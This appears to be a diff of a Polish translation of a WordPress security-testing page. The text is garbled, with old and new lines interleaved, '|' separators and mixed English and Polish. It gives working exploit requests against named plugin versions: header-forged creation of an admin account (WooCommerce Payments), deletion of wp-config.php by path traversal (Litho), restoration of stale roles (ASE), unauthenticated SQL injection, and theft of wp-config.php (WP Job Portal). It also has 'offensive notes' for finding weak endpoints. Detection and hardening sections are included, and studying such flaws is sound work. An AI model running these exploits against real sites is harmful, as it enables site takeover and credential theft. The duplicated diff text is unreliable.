To są funkcje, które mogą być używane do ujawniania funkcji w wtyczce:
|
||||
Oto funkcje, które mogą być użyte do udostępnienia funkcji w wtyczce:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**Użycie `nopriv` sprawia, że punkt końcowy jest dostępny dla wszystkich użytkowników (nawet niezautoryzowanych).**
|
||||
**Użycie `nopriv` sprawia, że endpoint jest dostępny dla dowolnych użytkowników (nawet niezalogowanych).**
|
||||
|
||||
> [!OSTRZEŻENIE]
|
||||
> Ponadto, jeśli funkcja tylko sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, ta funkcja tylko sprawdza, czy użytkownik jest zalogowany, zazwyczaj nie sprawdza roli użytkownika. Tak więc użytkownicy o niskich uprawnieniach mogą mieć dostęp do działań o wysokich uprawnieniach.
|
||||
> [!CAUTION]
|
||||
> Ponadto, jeżeli funkcja tylko sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, ta funkcja jedynie sprawdza, czy użytkownik jest zalogowany — zazwyczaj nie weryfikuje roli użytkownika. W związku z tym użytkownicy o niskich uprawnieniach mogą mieć dostęp do akcji o wysokich uprawnieniach.
|
||||
|
||||
- **REST API**
|
||||
|
||||
Możliwe jest również udostępnienie funkcji z WordPressa, rejestrując REST API za pomocą funkcji `register_rest_route`:
|
||||
It's also possible to expose functions from wordpress registering a rest AP using the `register_rest_route` function:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -363,23 +363,68 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
`permission_callback` to funkcja zwrotna, która sprawdza, czy dany użytkownik ma uprawnienia do wywołania metody API.
|
||||
The `permission_callback` to callback do funkcji, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.
|
||||
|
||||
**Jeśli użyta zostanie wbudowana funkcja `__return_true`, po prostu pominie sprawdzenie uprawnień użytkownika.**
|
||||
**Jeżeli użyta zostanie wbudowana funkcja `__return_true`, po prostu pominie ona sprawdzenie uprawnień użytkownika.**
|
||||
|
||||
- **Bezpośredni dostęp do pliku php**
|
||||
|
||||
Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to wykorzystywalne przez każdego użytkownika.
|
||||
Oczywiście Wordpress używa PHP, a pliki w ramach pluginów są bezpośrednio dostępne z sieci. Jeśli wtyczka ujawnia jakąś podatną funkcjonalność, która jest uruchamiana po samym dostępie do pliku, będzie ona wykorzystywalna przez dowolnego użytkownika.
|
||||
|
||||
### Nieautoryzowane usuwanie dowolnych plików za pomocą wp_ajax_nopriv (Motyw Litho <= 3.0)
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Motywy i wtyczki WordPressa często ujawniają obsługiwacze AJAX za pośrednictwem haków `wp_ajax_` i `wp_ajax_nopriv_`. Gdy używana jest wariant **_nopriv_**, **funkcja zwrotna staje się dostępna dla nieautoryzowanych odwiedzających**, więc każda wrażliwa akcja musi dodatkowo implementować:
|
||||
Niektóre wtyczki implementują skróty „trusted header” dla integracji wewnętrznych lub reverse proxy, a następnie używają tego nagłówka do ustawienia kontekstu aktualnego użytkownika dla żądań REST. Jeśli nagłówek nie jest kryptograficznie powiązany z żądaniem przez komponent nadrzędny, atakujący może go sfałszować i wywołać uprzywilejowane trasy REST jako administrator.
|
||||
|
||||
1. **sprawdzenie uprawnień** (np. `current_user_can()` lub przynajmniej `is_user_logged_in()`), oraz
|
||||
2. **CSRF nonce** weryfikowane za pomocą `check_ajax_referer()` / `wp_verify_nonce()`, oraz
|
||||
3. **Ścisłą sanitację / walidację wejścia**.
|
||||
- Skutek: eskalacja uprawnień bez uwierzytelnienia do administratora poprzez utworzenie nowego konta administratora za pomocą podstawowej trasy REST users.
|
||||
- Przykładowy nagłówek: `X-Wcpay-Platform-Checkout-User: 1` (wymusza ID użytkownika 1, zwykle pierwsze konto administratora).
|
||||
- Wykorzystywana trasa: `POST /wp-json/wp/v2/users` z tablicą zawierającą rolę o podwyższonych uprawnieniach.
|
||||
|
||||
Motyw wielofunkcyjny Litho (< 3.1) zapomniał o tych 3 kontrolach w funkcji *Usuń rodzinę czcionek* i ostatecznie dostarczył następujący kod (uproszczony):
|
||||
PoC
|
||||
```http
|
||||
POST /wp-json/wp/v2/users HTTP/1.1
|
||||
Host: <WP HOST>
|
||||
User-Agent: Mozilla/5.0
|
||||
Accept: application/json
|
||||
Content-Type: application/json
|
||||
X-Wcpay-Platform-Checkout-User: 1
|
||||
Content-Length: 114
|
||||
|
||||
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
||||
```
|
||||
Dlaczego to działa
|
||||
|
||||
- Wtyczka mapuje nagłówek kontrolowany przez klienta na stan uwierzytelnienia i pomija sprawdzenia uprawnień.
|
||||
- Rdzeń WordPress oczekuje uprawnienia `create_users` dla tej ścieżki; wtyczka omija to poprzez bezpośrednie ustawienie kontekstu bieżącego użytkownika z nagłówka.
|
||||
|
||||
Oczekiwane wskaźniki sukcesu
|
||||
|
||||
- HTTP 201 z ciałem JSON opisującym utworzonego użytkownika.
|
||||
- Nowe konto administratora widoczne w `wp-admin/users.php`.
|
||||
|
||||
Lista kontrolna wykrywania
|
||||
|
||||
- Przeszukaj (grep) `getallheaders()`, `$_SERVER['HTTP_...']`, lub vendor SDKs które odczytują niestandardowe nagłówki, aby ustawić kontekst użytkownika (np. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, które nie mają solidnych sprawdzeń `permission_callback` i zamiast tego polegają na nagłówkach żądania.
|
||||
- Szukaj użyć funkcji zarządzania użytkownikami rdzenia (`wp_insert_user`, `wp_create_user`) wewnątrz handlerów REST, które są zabezpieczone jedynie wartościami nagłówków.
|
||||
|
||||
Wzmocnienie
|
||||
|
||||
- Nigdy nie wyprowadzaj uwierzytelnienia ani autoryzacji z nagłówków kontrolowanych przez klienta.
|
||||
- Jeśli reverse proxy musi wstrzyknąć tożsamość, zakończ zaufanie przy proxy i usuń przychodzące kopie (np. `unset X-Wcpay-Platform-Checkout-User` na krawędzi), następnie przekaż podpisany token i zweryfikuj go po stronie serwera.
|
||||
- Dla REST routes wykonujących uprzywilejowane akcje wymagaj sprawdzeń `current_user_can()` i rygorystycznego `permission_callback` (NIE używaj `__return_true`).
|
||||
- Preferuj autentykację pierwszej strony (cookies, application passwords, OAuth) zamiast nagłówkowego „podszywania się”.
|
||||
|
||||
Referencje: zobacz linki na końcu tej strony dotyczące publicznego przypadku i szerszej analizy.
|
||||
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||||
|
||||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
||||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
||||
3. **Strict input sanitisation / validation**.
|
||||
|
||||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -398,31 +443,31 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Problemy wprowadzone przez ten fragment:
|
||||
Issues introduced by this snippet:
|
||||
|
||||
* **Nieautoryzowany dostęp** – zarejestrowano hak `wp_ajax_nopriv_`.
|
||||
* **Brak sprawdzenia nonce / uprawnień** – każdy odwiedzający może uzyskać dostęp do punktu końcowego.
|
||||
* **Brak sanitizacji ścieżki** – ciąg `fontfamily` kontrolowany przez użytkownika jest łączony z ścieżką systemu plików bez filtrowania, co pozwala na klasyczne przejście `../../`.
|
||||
* **Unauthenticated access** – the `wp_ajax_nopriv_` hook is registered.
|
||||
* **No nonce / capability check** – any visitor can hit the endpoint.
|
||||
* **No path sanitisation** – the user–controlled `fontfamily` string is concatenated to a filesystem path without filtering, allowing classic `../../` traversal.
|
||||
|
||||
#### Wykorzystanie
|
||||
|
||||
Atakujący może usunąć dowolny plik lub katalog **poniżej katalogu głównego przesyłania** (zwykle `<wp-root>/wp-content/uploads/`) wysyłając pojedyncze żądanie HTTP POST:
|
||||
Atakujący może usunąć dowolny plik lub katalog **poniżej katalogu bazowego uploads** (normally `<wp-root>/wp-content/uploads/`) by sending a single HTTP POST request:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` są wystarczające w domyślnej instalacji. Usunięcie `wp-config.php` zmusza WordPress do *kreatora instalacji* przy następnej wizycie, co umożliwia pełne przejęcie witryny (atakujący jedynie podaje nową konfigurację DB i tworzy użytkownika administratora).
|
||||
Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` wystarczą na domyślnej instalacji. Usunięcie `wp-config.php` zmusza WordPress do uruchomienia *kreatora instalacji* przy następnej wizycie, umożliwiając całkowite przejęcie strony (atakujący jedynie dostarcza nową konfigurację bazy danych i tworzy konto administratora).
|
||||
|
||||
Inne istotne cele to pliki `.php` wtyczek/motywów (aby złamać wtyczki zabezpieczające) lub reguły `.htaccess`.
|
||||
Inne istotne cele to pliki `.php` wtyczek/motywów (aby uszkodzić wtyczki zabezpieczające) lub reguły `.htaccess`.
|
||||
|
||||
#### Lista kontrolna wykrywania
|
||||
|
||||
* Każdy `add_action( 'wp_ajax_nopriv_...')` callback, który wywołuje pomocniki systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
|
||||
* Konkatenacja niesanitowanych danych wejściowych użytkownika w ścieżkach (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Każdy callback `add_action( 'wp_ajax_nopriv_...')` który wywołuje helpery systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
|
||||
* Łączenie niesanitizowanych danych wejściowych użytkownika w ścieżkach (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Wzmacnianie
|
||||
#### Wzmocnienie
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
@ -443,15 +488,15 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
```
|
||||
> [!TIP]
|
||||
> **Zawsze** traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i podwójnie sprawdź:
|
||||
> • Uwierzytelnienie • Autoryzacja • Nonce • Sanityzacja wejścia • Ograniczenie ścieżki (np. za pomocą `realpath()` oraz `str_starts_with()`).
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Eskalacja uprawnień poprzez przywracanie przestarzałych ról i brak autoryzacji (ASE "Wyświetl administratora jako rolę")
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
|
||||
Wiele wtyczek implementuje funkcję "wyświetl jako rola" lub tymczasowego przełączania ról, zapisując oryginalną rolę(-y) w metadanych użytkownika, aby mogły być przywrócone później. Jeśli ścieżka przywracania polega tylko na parametrach żądania (np. `$_REQUEST['reset-for']`) oraz liście zarządzanej przez wtyczkę bez sprawdzania uprawnień i ważnego nonce, prowadzi to do pionowej eskalacji uprawnień.
|
||||
Wiele wtyczek implementuje funkcję "view as role" lub tymczasowej zmiany roli, zapisując oryginalne role w user meta, aby można je było później przywrócić. Jeśli ścieżka przywracania opiera się tylko na parametrach żądania (np. `$_REQUEST['reset-for']`) i liście utrzymywanej przez wtyczkę bez sprawdzenia capabilities i ważnego nonce, staje się to vertical privilege escalation.
|
||||
|
||||
Przykład z rzeczywistego świata znaleziono w wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetu przywracała role na podstawie `reset-for=<username>`, jeśli nazwa użytkownika pojawiła się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie przeprowadzała ani sprawdzenia `current_user_can()`, ani weryfikacji nonce przed usunięciem bieżących ról i ponownym dodaniem zapisanych ról z metadanych użytkownika `_asenha_view_admin_as_original_roles`:
|
||||
Przykład z rzeczywistego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź reset przywracała role na podstawie `reset-for=<username>` jeśli nazwa użytkownika pojawiła się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie wykonywała ani sprawdzenia `current_user_can()` ani weryfikacji nonce przed usunięciem obecnych ról i ponownym dodaniem zapisanych ról z user meta `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -466,19 +511,19 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
Dlaczego jest to podatne na atak
|
||||
Dlaczego to jest podatne na atak
|
||||
|
||||
- Ufa `$_REQUEST['reset-for']` i opcji wtyczki bez autoryzacji po stronie serwera.
|
||||
- Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został obniżony, może je przywrócić, klikając ścieżkę resetowania.
|
||||
- W niektórych wdrożeniach każdy uwierzytelniony użytkownik mógłby wywołać reset dla innej nazwy użytkownika, która nadal jest obecna w `viewing_admin_as_role_are` (uszkodzona autoryzacja).
|
||||
- Polega na zaufaniu do `$_REQUEST['reset-for']` i opcji pluginu bez autoryzacji po stronie serwera.
|
||||
- Jeśli użytkownik miał wcześniej wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został zdegradowany, może je przywrócić, odwiedzając ścieżkę resetu.
|
||||
- W niektórych wdrożeniach każdy uwierzytelniony użytkownik mógł spowodować reset dla innej nazwy użytkownika nadal obecnej w `viewing_admin_as_role_are` (błędna autoryzacja).
|
||||
|
||||
Wymagania wstępne ataku
|
||||
|
||||
- Wersja wtyczki podatna na atak z włączoną funkcją.
|
||||
- Docelowe konto ma przestarzałą rolę o wysokich uprawnieniach zapisaną w metadanych użytkownika z wcześniejszego użycia.
|
||||
- Jakakolwiek uwierzytelniona sesja; brak nonce/zdolności w procesie resetowania.
|
||||
- Wrażliwa wersja pluginu z włączoną funkcją.
|
||||
- Docelowe konto ma przestarzałą rolę o wysokich uprawnieniach zapisaną w user meta z wcześniejszego użycia.
|
||||
- Dowolna uwierzytelniona sesja; brak nonce/capability w przebiegu resetu.
|
||||
|
||||
Eksploatacja (przykład)
|
||||
Wykorzystanie (przykład)
|
||||
```bash
|
||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||
@ -486,61 +531,76 @@ Eksploatacja (przykład)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Na podatnych wersjach to usuwa bieżące role i ponownie dodaje zapisane oryginalne role (np. `administrator`), skutecznie eskalując uprawnienia.
|
||||
Na podatnych buildach usuwa to bieżące role i ponownie dodaje zapisane „oryginalne role” (np. `administrator`), skutecznie eskalując uprawnienia.
|
||||
|
||||
Lista kontrolna wykrywania
|
||||
Detection checklist
|
||||
|
||||
- Szukaj funkcji przełączania ról, które utrzymują „oryginalne role” w meta użytkownika (np. `_asenha_view_admin_as_original_roles`).
|
||||
- Szukaj funkcji przełączania ról, które przechowują „oryginalne role” w meta użytkownika (np. `_asenha_view_admin_as_original_roles`).
|
||||
- Zidentyfikuj ścieżki resetowania/przywracania, które:
|
||||
- Odczytują nazwy użytkowników z `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modyfikują role za pomocą `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autoryzują na podstawie tablicy opcji wtyczki (np. `viewing_admin_as_role_are`) zamiast możliwości aktora.
|
||||
- Odczytują nazwy użytkowników z `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modyfikują role za pomocą `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autoryzują na podstawie tablicy opcji pluginu (np. `viewing_admin_as_role_are`) zamiast na podstawie uprawnień aktora.
|
||||
|
||||
Wzmacnianie
|
||||
Hardening
|
||||
|
||||
- Wymuszaj kontrole uprawnień na każdej gałęzi zmieniającej stan (np. `current_user_can('manage_options')` lub surowsze).
|
||||
- Wymagaj nonce dla wszystkich mutacji ról/uprawnień i weryfikuj je: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Nigdy nie ufaj nazwom użytkowników dostarczonym w żądaniu; rozwiązuj docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego aktora i wyraźnej polityki.
|
||||
- Unieważnij stan „oryginalnych ról” przy aktualizacjach profilu/roli, aby uniknąć przestarzałego przywracania wysokich uprawnień:
|
||||
- Wymuś sprawdzenia uprawnień przy każdym odgałęzieniu zmieniającym stan (np. `current_user_can('manage_options')` lub bardziej restrykcyjne).
|
||||
- Wymagaj nonces dla wszystkich zmian ról/uprawnień i weryfikuj je: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Nigdy nie ufaj nazwom użytkowników dostarczanym w żądaniu; rozstrzygaj docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego aktora i jawnej polityki.
|
||||
- Unieważniaj stan „oryginalnych ról” przy aktualizacjach profilu/ról, aby uniknąć przywrócenia przestarzałych uprzywilejowań:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Rozważ przechowywanie minimalnego stanu i używanie tokenów z ograniczonym czasem ważności oraz zabezpieczonych uprawnień do tymczasowych przełączeń ról.
|
||||
- Rozważ przechowywanie minimalnego stanu i używanie ograniczonych czasowo, zabezpieczonych uprawnieniami tokenów do tymczasowych przełączeń ról.
|
||||
|
||||
---
|
||||
|
||||
## Ochrona WordPressa
|
||||
### Uwagi dotyczące WAF dla WordPress/plugin CVEs
|
||||
|
||||
Ogólne WAFy edge/server są dostrojone do wykrywania szerokich wzorców (SQLi, XSS, LFI). Wiele podatności o dużym wpływie w WordPress/plugin to błędy logiki lub autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, jeśli silnik nie rozumie ścieżek WordPress i semantyki pluginów.
|
||||
|
||||
Offensive notes
|
||||
|
||||
- Celuj w endpointy specyficzne dla pluginów, używając czystych payloadów: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Najpierw sprawdź ścieżki nieautoryzowane (AJAX `nopriv`, REST z permisywnym `permission_callback`, public shortcodes). Domyślne payloady często działają bez obfuskacji.
|
||||
- Typowe przypadki o dużym wpływie: eskalacja uprawnień (broken access control), dowolne przesyłanie/pobieranie plików, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
|
||||
- Nie polegaj na ogólnych sygnaturach WAF, aby chronić przed plugin CVEs. Wdróż wirtualne poprawki na warstwie aplikacji, specyficzne dla danej podatności, albo szybko aktualizuj.
|
||||
- Preferuj kontrole positive-security w kodzie (capabilities, nonces, ścisła walidacja wejścia) zamiast negatywnych filtrów regex.
|
||||
|
||||
## Ochrona WordPress
|
||||
|
||||
### Regularne aktualizacje
|
||||
|
||||
Upewnij się, że WordPress, wtyczki i motywy są aktualne. Potwierdź również, że automatyczne aktualizacje są włączone w wp-config.php:
|
||||
Upewnij się, że WordPress, wtyczki i motywy są aktualne. Potwierdź także, że automatyczne aktualizacje są włączone w wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Również, **instaluj tylko zaufane wtyczki i motywy WordPress**.
|
||||
Ponadto, **instaluj tylko zaufane wtyczki i motywy WordPress**.
|
||||
|
||||
### Wtyczki zabezpieczające
|
||||
### Wtyczki bezpieczeństwa
|
||||
|
||||
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
||||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||||
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
||||
|
||||
### **Inne rekomendacje**
|
||||
### **Inne zalecenia**
|
||||
|
||||
- Usuń domyślnego użytkownika **admin**
|
||||
- Używaj **silnych haseł** i **2FA**
|
||||
- Okresowo **przeglądaj** uprawnienia użytkowników
|
||||
- **Ogranicz próby logowania**, aby zapobiec atakom Brute Force
|
||||
- Okresowo **przeglądaj** **uprawnienia** użytkowników
|
||||
- Ogranicz **liczbę prób logowania**, aby zapobiec atakom Brute Force
|
||||
- Zmień nazwę pliku **`wp-admin.php`** i zezwól na dostęp tylko wewnętrznie lub z określonych adresów IP.
|
||||
|
||||
|
||||
### Nieautoryzowana injekcja SQL przez niewystarczającą walidację (WP Job Portal <= 2.3.2)
|
||||
### SQL Injection bez uwierzytelnienia z powodu niewystarczającej walidacji (WP Job Portal <= 2.3.2)
|
||||
|
||||
Wtyczka rekrutacyjna WP Job Portal ujawniała zadanie **savecategory**, które ostatecznie wykonuje następujący podatny kod wewnątrz `modules/category/model.php::validateFormData()`:
|
||||
Wtyczka rekrutacyjna WP Job Portal ujawniała zadanie **savecategory**, które ostatecznie wykonuje następujący podatny kod w `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -552,17 +612,17 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
```
|
||||
Problemy wprowadzone przez ten fragment:
|
||||
|
||||
1. **Nieprzetworzony input od użytkownika** – `parentid` pochodzi bezpośrednio z żądania HTTP.
|
||||
2. **Konkatenacja stringów w klauzuli WHERE** – brak `is_numeric()` / `esc_sql()` / przygotowanej instrukcji.
|
||||
3. **Nieautoryzowany dostęp** – chociaż akcja jest wykonywana przez `admin-post.php`, jedynym sprawdzeniem jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać z publicznej strony osadzającej shortcode `[wpjobportal_my_resumes]`.
|
||||
1. **Nieprzefiltrowane dane wejściowe** – `parentid` pochodzi bezpośrednio z żądania HTTP.
|
||||
2. **Konkatenacja łańcuchów w klauzuli WHERE** – brak `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Możliwość wywołania bez uwierzytelnienia** – chociaż akcja jest wykonywana przez `admin-post.php`, jedyną weryfikacją jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać ze strony publicznej osadzającej shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Wykorzystanie
|
||||
#### Eksploatacja
|
||||
|
||||
1. Pobierz świeży nonce:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Wstrzyknij dowolne SQL, nadużywając `parentid`:
|
||||
2. Wstrzyknij dowolne SQL przez nadużycie `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -570,20 +630,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub zmienia bazę danych, co dowodzi SQLi.
|
||||
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, potwierdzając SQLi.
|
||||
|
||||
|
||||
### Nieautoryzowane pobieranie dowolnych plików / Przechodzenie przez ścieżki (WP Job Portal <= 2.3.2)
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Inne zadanie, **downloadcustomfile**, pozwalało odwiedzającym na pobieranie **dowolnego pliku na dysku** poprzez przechodzenie przez ścieżki. Wrażliwy punkt znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Kolejne zadanie, **downloadcustomfile**, pozwalało odwiedzającym pobrać **dowolny plik z dysku** poprzez path traversal. Wrażliwy sink znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` jest kontrolowany przez atakującego i łączony **bez sanitizacji**. Ponownie, jedyną bramą jest **CSRF nonce**, który można pobrać z strony resume.
|
||||
`$file_name` jest kontrolowany przez atakującego i konkatenowany **bez sanitacji**. Ponownie, jedyną barierą jest **CSRF nonce**, który można pobrać ze strony z CV.
|
||||
|
||||
#### Exploitation
|
||||
#### Eksploatacja
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
@ -592,13 +652,16 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
Serwer odpowiada zawartością `wp-config.php`, ujawniając dane uwierzytelniające DB i klucze autoryzacyjne.
|
||||
Serwer zwraca zawartość `wp-config.php`, leaking DB credentials and auth keys.
|
||||
|
||||
## Odniesienia
|
||||
## Referencje
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privileged-escalation-vulnerability)
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user